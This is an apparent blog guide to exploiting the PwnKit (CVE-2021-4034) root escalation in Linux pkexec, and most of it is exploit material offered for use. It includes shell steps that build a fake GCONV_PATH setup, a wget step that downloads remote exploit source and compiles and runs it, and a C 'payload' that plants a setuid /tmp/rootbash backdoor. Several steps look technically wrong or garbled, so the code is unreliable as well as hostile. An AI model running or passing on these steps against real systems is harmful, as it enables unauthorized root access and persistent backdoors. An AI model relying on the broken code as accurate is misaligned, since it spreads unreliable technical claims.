Pwnkit or polkit's pkexec (CVE-2021-4034)
Complete guide on Privilege e Exploitation with CVE-2021-4034.
PwnKit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
- Overview
- Introduction
- Exploitation
- Payload
Overview
CVE-2021-4034, commonly known as PwnKit, is a critical local privilege escalation vulnerability in Polkit’s pkexec utility.
Discovered by the Qualys Research Team and publicly disclosed on January 25, 2022.
- Affected component:
pkexec(part of Polkit, formerly PolicyKit) - Present in every version of Polkit since May 2009 (commit b07c5c9)
- Default-installed on all major Linux distributions (Ubuntu, Debian, Fedora, CentOS, RHEL, etc.)
- Severity: CVSS 7.8 (High)
- Result: Any unprivileged local user can instantly gain full root privileges (root) without requiring additional permissions or passwords.
What is Polkit?
Polkit (PolicyKit) is a component for controlling system-wide privileges in Linux. It provides an authorization API used by systemd and many desktop environments.
pkexec is a setuid-root binary that allows authorized users to execute commands as another user (usually root) if permitted by Polkit policy.
Vulnerability Details
The bug exists in how pkexec processes command-line arguments. When pkexec is called with zero arguments (or certain malformed argument patterns), it fails to properly sanitize the environment and argument vector (argc == 0). This leads to:
- Removal of critical environment variables (like
PATH) - Subsequent use of the caller’s original environment variables in a privileged context
- Ability to manipulate
GCONV_PATHorLD_PRELOADto execute arbitrary code as root
Exploitation
Exploitation is extremely simple and reliable. No special conditions required:
- Works on default installations
- Works even if Polkit policies deny the action
- Works from an unprivileged shell
- Works across different distributions and architectures
One-liner Exploit (Common Example)
1
2
3
4
5
6
7
8
9
10
11
cd /tmp
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");}' > exploit.c
gcc exploit.c -o exploit
chmod +x exploit
echo -e '#!/bin/exploit\n' > fake-gconv
chmod +x fake-gconv
mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./fake-gconv'
chmod +x GCONV_PATH=.
./exploit
pkexec
After running pkexec with no arguments in this crafted environment, you get a root shell.
Ready-to-Use Exploit (Most Popular by Qualys)
1
2
3
4
5
# Download and run the official Qualys PoC
wget https://www.qualys.com/research/security-advisories/CVE-2021-4034.c
gcc CVE-2021-4034.c -o pwnkit
./pwnkit
# You now have a root shell
or
1
2
3
4
perl -e 'exec "/bin/sh";' >&2 2>/dev/null
# Then run:
pkexec --user root /bin/sh
# (in the crafted environment)
Payload Example (C version)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// pwnkit.c - Simple PwnKit exploit
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#!/bin/bash\n"
"cp /bin/bash /tmp/rootbash\n"
"chmod +s /tmp/rootbash\n";
int main() {
char *env[] = {shell, NULL};
printf("[+] Creating backdoored bash...\n");
FILE *fp = fopen("x", "w");
fwrite(shell, strlen(shell), 1, fp);
fclose(fp);
chmod("x", 0755);
char *args[] = {NULL};
execve("/usr/bin/pkexec", args, env);
return 0;
}
Compile & run:
1
2
3
gcc pwnkit.c -o pwnkit
./pwnkit
/tmp/rootbash -p # now you have root